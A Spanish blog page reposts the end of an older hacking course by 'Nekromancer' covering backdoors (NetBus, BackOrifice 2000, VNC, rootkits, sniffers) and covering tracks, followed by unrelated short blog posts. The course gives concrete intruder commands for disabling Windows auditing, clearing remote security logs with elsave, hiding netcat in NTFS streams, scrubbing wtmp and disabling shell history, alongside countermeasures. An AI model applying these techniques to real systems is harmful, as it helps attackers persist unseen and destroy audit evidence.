El NetBus crea en la registry remota una clave en alguna de las secciones ejecutables, que lanza un programa llamado [espacio].exe, por otra parte abre el puerto 12345 o 20034 (si bien los puertos por default pueden cambiarse).
La mejor forma de detectar troyanos es con programas como The Cleaner (www.moosoft.com) que son como los antivirus, pero exclusivamente para la detecci�n y eliminaci�n de troyanos.

BackOriffice 2000

Este programa, por The Cult of the Dead Cow (www.cultdeadcow.com) permite desde su versi�n 2000, llamada BO2K, la conexi�n a sistemas NT.

Es como el NetBus una aplicaci�n cliente/servidor y requiere que insertemos el server subrepticiamente en el sistema remoto.

La gente del cDc liber� el c�digo del BO2K, con lo cual existen potencialmente ilimitadas versiones del mismo a futuro, lo cual dificultar� totalmente su detecci�n.

Contramedidas:
Como con NetBus, deben buscarse entradas extra�as en la registry.
Es �til correr siempre detectores de troyanos como The Cleaner ya mencionado.
En todos los casos de troyanos, educar a los usuarios sobre los peligros de los attachments por mail y los archivos bajados de Internet.

WinVNC

Virtual Network Computing (http://www.uk.research.att.com/vnc) es un sistema multiplataforma que permite compartir el escritorio (y obviamente las operaciones que pueden realizarse desde el mismo).

Cabe destacar que el paquete VNC no fue desarrollado pensando en troyanos, sino como herramienta para mejorar la administraci�n remota, por lo cual no es demasiado "sigiloso", las �ltimas versiones inclusive se muestran en la barra de tareas cuando est�n corriendo.

Para conocer m�s sobre VNC puede consultarse la documentaci�n del mismo en el site arriba mencionado.

Una de las cosas m�s maravillosas del VNC es que existen versiones para diferentes plataformas, de modo que podremos visualizar el escritorio de un Windows NT en una ventana de nuestro entorno gr�fico Linux.

Contramedidas:
WinVNC se muestra siempre en la lista de tareas del TaskManager, a�n las versiones viejas que no aparec�an en la barra de tareas.
Puede detectarse f�cilmente en la registry.

El siguiente punto donde pueden instalarse cosas que permitan el acceso al sistema remoto de una manera m�s f�cil son las entradas en la registry mencionadas anteriormente y que permiten la ejecuci�n autom�tica de un ejecutable o script durante el arranque. Es importante familiarizarse con los contenidos de las mismas para poder detectar cambios sospechosos.

Contramedidas:
Al margen de prestar atenci�n, existen algunas herramientas que permiten automatizar el proceso de detectar cambios en la registry.
El paquete comercial System Scanner (www.iss.net) es una de estas herramientas, existen una versi�n de pruebas disponible para download.
Otras herramientas son Shavlik Inspectorscan (www.shavlik.com) y HackerShield (www.bindview.com/netect).

En general estaremos interesados en que el programa que hayamos instalado como backdoor est� siempre activo. No es muy bueno instalarlo ejecut�ndolo directamente sin tomar precauciones para que arranque nuevamente, ya que un simple reboot o un administrador con el TaskManager podr�a eliminarlo directamente.

Para evitar esto suele incluirse c�digo para reiniciar el programa de backdoor en la registry (en las claves autoejecutables ya mencionadas) como hacen autom�ticamente el NetBus y BackOriffice 2000, incorporar el programa en el submen� Startup (Inicio) del Men� Principal de Windows NT, o incorporar un comando AT que chequee si el proceso est� corriendo (por ejemplo una vez al d�a) y lo reinicie de ser necesario.

Contramedidas:
Revisar peri�dicamente los recept�culos donde suele instalarse el c�digo de arranque de las backdoors.
Chequear a menudo la tabla de inicio de procesos del comando AT.
Eventualmente puede setearse un �contracomando� mediante AT, que cierre cualquier proceso NetCat o remote.exe que est� corriendo. No es una soluci�n demasiado fina pero es �til.

Linux/UNIX

En los sistemas *NIX los atacantes suelen instalar uno de los denominados "rootkits", que son grupos de programas cuidadosamente modificados para resultar indetectables y brindar f�cil acceso como root.

Estos paquetes suelen reemplazar ejecutables del sistema por versiones hackeadas que evitar�n que se detecte que algo extra�o est� sucediendo. Dentro de los programas usualmente reemplazados tenemos: login, su, telnet, ftp, passwd, netstat, ifconfig, ls, ps, ssh, find, du, df, sync, reboot, halt, shutdown y otros.

Como ser ver�, al instalar versiones modificadas por ejemplo de ps, el nuevo ps no nos mostrar� algunos procesos que est�n corriendo, en particular aquellos que fueron dejados corriendo por el atacante.

Las versiones hackeadas de telnet, login o ssh suelen grabar el user ID y el password a un archivo oculto.

Un comando ls hackeado puede detectar si est� corriendo una backdoor para la red y lanzarlo en caso negativo.

La lista puede seguir hasta el infinito.

Contramedidas:
La �nica forma de poder asegurarse que nadie ha estado modificando los ejecutables de nuestro sistema es utilizar un mecanismo como Tripwire, ya mencionado, para guardar la "firma" de todos los archivos de nuestro sistema, y comparar peri�dicamente los archivos en el disco con la firma de los originales.
En general es in�til intentar eliminar todos los posibles problemas de un sistema al cual se le instal� un rootkit. Es m�s seguro eliminar todo y realizar una nueva instalaci�n (por eso es importante tener backups de los datos!).

Otro ejemplo de un programa que puede dejar corriendo un atacante es un sniffer (como el sniffit, disponible en las Powertools del FTP de RedHat), que se encargar� de monitorear el tr�fico de la red y almacenar los resultados a un archivo que el atacante retirar� peri�dicamente.

Para que el sniffer pueda capturar todo el tr�fico que pasa por la red (y no solo aquel que le estaba destinado) la placa de red debe setearse en modo promiscuo y la red debe utilizar mecanismos shareados como hubs.

Cabe repetir que el uso de sniffers con �xito est� generalmente limitado a las redes que utilizan hubs, ya que la tecnolog�a de un switch no permite que el tr�fico llegue a m�quinas a las cuales no estaba destinado.

NOTA: existe la posibilidad de forjar paquetes del protocolo ARP (Address Resolution Protocol) con el fin de capturar paquetes que no nos estaban destinados en una red con tecnolog�a de switches. Luego de loguearlos, se reenv�an a la placa correcta.

Contramedidas:
Muchas veces es m�s sencillo detectar si la placa est� en modo promiscuo que intentar encontrar el sniffer, por lo cual el punto de ataque de la contramedidas empezar� por all�.
Existe programas como Check Promiscuous Mode (cpm) disponibles, que permiten justamente esta detecci�n (ftp://info.cert.org/pub/tools/).
La �nica forma de realmente no tener que temer tanto a un sniffer es utilizar mecanismos de encriptaci�n del tr�fico de red, como SSH en reemplazo de telnet, y otros, y reemplazar los hubs por switches.

Otra posibilidad alternativa para instalar un backdoor MUY dif�cil de detectar es simplemente modificar los permisos de alguno de los archivos de inicio, de tal forma que si logramos un acceso m�nimo al sistema podamos escalar los privilegios en un solo paso (por ejemplo un shell script, con SUID root, world writeable y ejecutable, oculto en la jerarqu�a /etc/rc.d).

En general cualquier cosa que se pueda modificar para facilitarnos el acceso posterior a cualquiera de los mecanismos mencionados en la secci�n de escalaci�n de privilegios es potencialmente aprovechable como backdoor.

Contramedidas:
Monitorear todos los archivos del sistema en busca de scripts con permisos err�neos y otras cosas por el estilo es pr�cticamente imposible sin las herramientas adecuadas.
Entre las herramientas que podemos utilizar cabe destacar los paquetes TripWire (disponible en el FTP de Red Hat) y COPS (disponible entre las herramientas archivadas en www.securityfocus.com), ambos ya mencionados.

Comentarios adicionales sobre encriptaci�n

Ya se mencionaron las ventajas de utilizar conexiones encriptadas para mejorar la seguridad de nuestra red.

Secure Shell (SSH) es un excelente reemplazo encriptado del telnet. Est� disponible como el paquete OpenSSH en el site FTP de RedHat, y existe en el site oficial de SSH una versi�n para Microsoft Windows que es compatible con la de Linux.

Obviamente uno de los problemas potenciales es la necesidad de tener instalado el SSH en la m�quina que vayamos a utilizar para conectarnos. Imaginemos que estamos de viaje y necesitamos acceso telnet por cualquier motivo a nuestro servidor.

La soluci�n obvia ser�a contar con un notebook que tenga instalado SSH para utilizarlo en estos casos.
De no contar con el notebook, podr�amos determinar una m�quina como �punto de acceso�, que solamente brinda acceso telnet sin ning�n otro servicio ni informaci�n importante, que tenga instalado SSH, y utilizarla como punto de salto hacia nuestro servidor.

Cabe destacar que un acceso as� baja notablemente la seguridad global de nuestra red.

En estos momentos se propone un nuevo est�ndar para las transmisiones, utilizando un protocolo denominado IP Security Protocol (IPSec), que incorporar� la autenticaci�n y encriptaci�n del tr�fico IP.
En estos momentos ya existen algunos proveedores que ofrecen herramientas de conexi�n que utilizan el mecanismo del IPSec.

Octavo paso: Cover Tracks (Borrar huellas)

Una vez logrado el acceso a un sistema es muy importante eliminar las huellas que podr�an delatar la intrusi�n, as� como evitar que quede registro en los logs de nuestra presencia.

En este �ltimo paso nuevamente dividir� en dos el m�dulo cubriendo los dos sistemas operativos m�s usuales.

Windows NT

En general Windows NT tiene habilitada la funcionalidad de auditar los eventos en el sistema (salvo que est� DEMASIADO mal seteado).
Sin embargo en algunos casos las funciones que enlentecer�an demasiado el sistema si son auditadas, como �Success� de �User & Group Management�, no est�n activas, o solamente lo est�n en forma incompleta.

Lo primero que debe hacerse tras obtener privilegios administrativos es chequear las pol�ticas de auditor�a del sistema, por las dudas que las diferentes actividades realizadas durante y tras la penetraci�n hayan quedado logueadas.

La herramienta auditpol del NTRK falicita la tarea, ya que se pueden detener las pol�ticas de auditor�a con un simple comando:

C:\> auditpol /disable
Running �

Local audit information changed successfully �
New local audit policy �

(0) Audit Disabled
AuditCategorySystem   = No
AuditCategoryLogon      = Failure
AuditCategoryAccess   = No
... etc ... etc ... etc ...

Al finalizar las actividades que se deseen realizar en el sistema, deberemos activar nuevamente las pol�ticas de auditor�a con:

C:\> auditpol /enable

Contramedidas:
Alguien dijo que habia contramedidas?
La �nica forma de detectar que sucedi� algo como esto es que el atacante se olvide del paso siguiente.

Otro paso a seguir para eliminar nuestras huellas pasadas es borrar el log de eventos de Windows NT.

Es casi seguro que las actividades que realizamos al intentar escalar privilegios se encuentren ya en los logs, de modo que aunque desactivemos la auditor�a a partir de ese momento, nuestra presencia puede detectarse.
La forma m�s sencilla de eliminar los logs si se tiene acceso administrativo es simplemente borrarlos desde el Even Viewer. No demasiado delicado pero efectivo.

El problema es que es ligeramente detectable, dado que elimina TODOS los logs, lo cual puede parecer como m�nimo sospechoso, y adem�s deja un solo evento, que dice que se borraron todos los logs

Tambi�n se pueden editar los archivos de log en %systemroot%\system32 en forma manual. Algo dif�cil de hacer dada la sintaxis compleja que utiliza Windows NT para los archivos de log.

La herramienta elsave de Jesper Lauritsen (http://www.ibt.ku.dk/jesper/NTtools/) es excelente para eliminar solo determinados eventos de los logs.

Por ejemplo si se quieren borrar todos aquellos logs de seguridad del server remoto 'action1', lo haremos como en el siguiente ejemplo (obviamente se requieren privilegios administrativos para correr esta herramienta):

C:\> elsave -s \\action1 -l �Security� -C

Contramedidas:
No hay contramedidas, salvo que se realice backup diario de los logs y se detecte manualmente que hubo alteraciones a los mismos.

Como �ltimo comentario, y para terminar la parte Windows NT del curso, mencionar� un par de mecanismos para dejar nuestras �herramientas� en el server remoto en una forma no detectable.

El primero de ellos involucra el uso del comando attrib de DOS, que permitir� setear el flag h (hidden) sobre nuestros archivos.
Esto oculta los archivos a los comandos de consola, y al Windows NT Explorer salvo que est� seteado el �tem de men� �Show All Files�.

Un mecanismo m�s sofisticado es el uso de una funcionalidad del sistema de archivos NTFS, denominada file streaming, que permite agregar informaci�n adicional a un archivo (por ejemplo nuevos flags) sin tener que reestructurar el sistema de archivos.

La forma de utilizar el mecanismo de file streaming, es utilizando el comando cp del NTRK (es un copy que cumple el est�ndar POSIX, similar al cp de Linux).
Si queremos, por ejemplo, esconder un NetCat en un archivo con un nombre irrelevante utilizaremos la siguiente sintaxis:

cp nc.exe oso0001.009:nc.exe

Con esto esconderemos el NetCat en un stream del archivo oso0001.009, que no resulta llamativo en lo absoluto (ni siquiera es ejecutable).

El �nico cambio visible es que la fecha de modificaci�n del archivo oso0001.009 cambia, pero no su tama�o (algunas versiones de cp no cambian la fecha de modificaci�n).

Los archivos ocultos dentro de los streams son virtualmente imposibles de detectar.
Por otra parte, la �nica forma de eliminar los streams de los archivos es copiarlos a una partici�n FAT, y luego otra vez a la NTFS.

Los comandos ocultos en los streams no pueden ejecutarse directamente, dado que el cmd.exe no lo soporta, sino que deben lanzarse con la comando start:

start oso0001.009:nc.exe

Contramedidas:
La �nica herramienta que detecta los archivos ocultos en los streams se llama Streamfinder (http://europe.iss.net/streams/), y es un paquete comercial.

Sumario de contramedidas para Windows NT
�   Ante todo bloquear el acceso a los puertos 135-139 con TCP y UDP. La mayor parte de los problemas se desvanecer�n.
�   Escanear la propia red para ver que no haya quedado ning�n punto de entrada a estos puertos.
�   Bloquear el acceso an�nimo (parche de Microsoft).
�   Eliminar el acceso 'Everyone' al �tem 'Access This Computer From The Network User Right' en las pol�ticas del User Manager.
�   Aplicar todos los Service Packs y cualquier eventual parche de Microsoft.
�   Establecer una pol�tica de buenos passwords y autocrackearse para estar seguro que son buenos.
�   Renombrar la cuenta Administrator e inhabilitar el usuario Guest.
�   No utilizar las credenciales de dominio en las m�quinas miembros de la red.
�   Activar el lockeo de la cuenta Administrator v�a red (siempre podr� desbloquearse localmente).
�   Habilitar la encriptaci�n de la SAM con SYSKEY.
�   Activar el seguimiento de auditor�a de eventos tales como logins fallidos y otros.
�   Revisar los logs como m�nimo semanalmente.
�   Chequear los permisos de acceso a la registry, los usuarios no deber�an poder agregar keys a la misma, y menos a los puntos de ejecuci�n durante el arranque anteriormente mencionados.
�   No correr servicios innecesarios, y evitar aquellos que corren bajo una cuenta de usuario.
�   Setear las aplicaciones de modo seguro o no usarlas.
�   Educar a los usuarios sobre los potenciales peligros de malos passwords, troyanos en los mails, etc.
�   Migrar la topolog�a de hubs a switches.
�   Seguir listas de erorres como BugTraq.

Linux/UNIX

Una vez logrado el acceso root al sistema podremos operar libremente sobre los logs, la mayor�a de los cuales son texto plano y est�n dentro de /var/log

Existen programas preparados para �limpiar� nuestro paso por los logs, tales como zap.c, wzap.c, marry.c y remove.c, la mayor�a de los cuales suelen estar incluidos en los rootkits.

Sin embargo para la mayor�a de los logs ser� suficiente un editor de texto como el vi.

El primer log a limpiar ser� el log de logins. Para saber d�nde se est�n registrando los accesos, debemos mirar el archivo /etc/syslog.conf

Si el /etc/syslog.conf est� con los seteos originales, la mayor parte de los logs se guardan dentro de /var/log como en el siguiente ejemplo:

# Log all kernel messages to the console.
# Logging much else clutters up the screen.
#kern.*                     /dev/console

# Log anything (except mail) of level info or higher.
# Don't log private authentication messages!
*.info;mail.none;news.none;authpriv.none            /var/log/messages

# The authpriv file has restricted access.
authpriv.*                  /var/log/secure

# Log all the mail messages in one place.
mail.*                     /var/log/maillog

# Everybody gets emergency messages, plus log them on another
# machine.
*.emerg                     *

# Save mail and news errors of level err and higher in a
# special file.
uucp,news.crit                  /var/log/spooler

# Save boot messages also to boot.log
local7.*                  /var/log/boot.log

All� vemos que los logins estar�n en /var/log/messages, y existe un log de eventos de seguridad en /var/log/secure (all� es donde tendremos las conexiones remotas, entre otras cosas).

La mayor parte de los logs pueden editarse con un editor como el vi, pero el archivo de log wtmp est� en formato binario, y es usualmente consultado mediante los comandos who o last (este �ltimo en particular es bastante �til).

[root@linux11 log]# who ./wtmp
root tty1 Aug 27 18:35
root tty2 Aug 27 18:37
Nekromancer tty3 Aug 27 19:27
Nekromancer tty3 Aug 29 22:42
Nekromancer tty3 Aug 31 21:12
Nekromancer tty3 Sep 1 17:26
Nekromancer tty3 Sep 3 11:15
Nekromancer tty3 Sep 3 16:15
root tty2 Sep 3 17:36
Nekromancer tty3 Sep 5 19:24
root tty1 Sep 5 19:56
Nekromancer tty3 Sep 5 20:28
root tty2 Sep 5 20:41

Y con el comando last tenemos:

[root@linux11 log]# last
root tty2 Tue Sep 5 20:41 still logged in
Nekroman tty3 Tue Sep 5 20:28 still logged in
reboot system boot 2.2.16 Tue Sep 5 20:24 (01:40)
root tty1 Tue Sep 5 19:56 - down (00:00)
Nekroman tty3 Tue Sep 5 19:24 - 19:56 (00:31)
reboot system boot 2.2.16 Tue Sep 5 19:23 (00:33)
root tty2 Sun Sep 3 17:36 - down (00:00)
Nekroman tty3 Sun Sep 3 16:15 - 17:37 (01:21)
reboot system boot 2.2.16 Sun Sep 3 16:15 (01:22)
Nekroman tty3 Sun Sep 3 11:15 - down (04:05)
reboot system boot 2.2.16 Sun Sep 3 11:14 (04:06)
Nekroman tty3 Fri Sep 1 17:26 - down (00:05)
reboot system boot 2.2.16 Fri Sep 1 17:26 (00:05)
Nekroman tty3 Thu Aug 31 21:12 - down (01:48)
reboot system boot 2.2.16 Thu Aug 31 21:12 (01:49)
Nekroman tty3 Tue Aug 29 22:42 - down (03:02)
reboot system boot 2.2.16 Tue Aug 29 22:41 (03:02)
Nekroman tty3 Sun Aug 27 19:27 - down (00:59)
reboot system boot 2.2.16 Sun Aug 27 19:26 (01:00)
root tty2 Sun Aug 27 18:37 - down (00:02)
root tty1 Sun Aug 27 18:35 - down (00:04)
reboot system boot 2.2.16 Sun Aug 27 18:35 (00:05)
... etc ... etc ... etc

wtmp begins Sat Nov 27 18:15:20 1999

Como puede verse la informaci�n es interesante y completa.

Uno de los log cleaners que permite editar el archivo wtmp (si se tienen los permisos adecuados) es el programa wzap, que nos permitir�a eliminar todas las l�neas correspondientes al usuario 'Nekromancer' con la siguiente sintaxis:

[root@linux11 log]# ./wzap
Enter username to zap from the wtmp: Nekromancer
opening file...
opening output file...
working...

La salida se graba a un archivo wtmp.out, que deberemos utilizar para sobreescribir el wtmp original.

Tras esto podremos comprobar que las l�neas del usuario 'Nekromancer' simplemente no est�n m�s.

Adicionalmente a los logs en /var/log, tendremos que editar el archivo .bash_history del home directory del usuario que hayamos utilizado para ganar el acceso, ya que contiene todos los comandos tipeados en la consola:

[Nekromancer@linux11 Nekromancer]$ tail .bash_history
halt
startx
halt
exit
startx
x
su -
x
mc
x

Algunos atacantes realmente atrevidos incluso llegan a hacer del .bash_history un soft link a /dev/null:

ln -s /dev/null .bash_history

Con lo cual los comandos tipeados simplemente se van borrando en lugar de ir a un log.

Otra medida que puede tomar el atacante es inhabilitar el history:

unset HISTFILE
unset SAVEHIST

en las propiedades del shell.

Contramedidas:
Es bastante dif�cil detectar si los logs han sido manipulados.
Lo ideal es setear el flag 'append' a los archivos de log, de modo que solamente se les pueda agregar informaci�n. En caso de decidirse por esto se bloquea la funcionalidad normal del logrotate, de modo que hay que tomar las debidas precauciones para que no se llene el disco.
El comando para setear el modo append es:

chattr +a <file>

Otra alternativa es enviar los logs a un host seguro.
Existen herramientas como Secure Syslog (http://www.core-sdi.com/english/freesoft.html) que implementan mecanismos criptogr�ficos sumado al uso de syslog remoto para proteger los archivos cr�ticos.
Debe recordarse que NO puede confiarse en los logs si la seguridad del sistema fue comprometida.

Sumario de Contramedidas Linux/UNIX

Tomar en consideraci�n todos los puntos mencionados en la Linux Administrator Security Guide (http://www.securityportal.com/lasg/) que ha sido, es, y seguir� siendo uno de los mejores trabajos sobre seguridad para sistemas Linux.
El libro Configuring and Optimizing Linux: RedHat Edition ayuda mucho en sistemas RedHat o basados en RedHat. En su versi�n 1.3 (http://www.openna.com) cubre la versi�n RedHat 6.2.
Sin embargo la mejor contramedida ser� siempre intentar violar la propia seguridad.
Es vital mantenerse actualizado con la informaci�n de BugTraq, y utilizar siempre los �ltimos xploits y herramientas de detecci�n autom�tica como Nessus y COPS.

Palabras finales

Bueno, llegamos al fin de este breve trabajo sobre seguridad de sistemas, y conf�o en que todos sabr�n aprovechar lo aprendido.
Les deseo el mayor de los �xitos, y que nadie jam�s perturbe la paz de sus redes

Y nuevamente...

Happy hacking

Nekromancer
a.k.a. Miguel

pd: abstenganse usuarios windows o novatos.. Para practicar lo que leistes.. necesitas tener conocimiento un poco a fondo del distrito que usas.

Mas explicaciones no puedo dar. ya que el mismo texto lo indica

Gracias a Nekromancer
a.k.a. Miguel por todo lo que os ense�ais

Thyonex

lunes, 25 de noviembre de 2013

Apps para el Diseño 3D

Blender

Spacedraw

XSI Mod Tool

TopMod3D

Anim8or

BRL-CAD

También Open Source, BRL-CAD está orientada a la construcción en tres dimensiones de modelos geométricos. Tiene una aplicación más científica para el análisis de las formas.

3D Plus

3D Canvas

Autodesk 123D

FreeCAD

FUENTE

jueves, 31 de octubre de 2013

ACV

Accidente cerebrovascular

sábado, 26 de octubre de 2013

Sitios Web para alternativos a diseño

PremiumPixels

Subtle Patterns

365psd

Pixeden

Dribbble

sábado, 16 de marzo de 2013

Haking Linux #2

Visitas

Vistas de página en total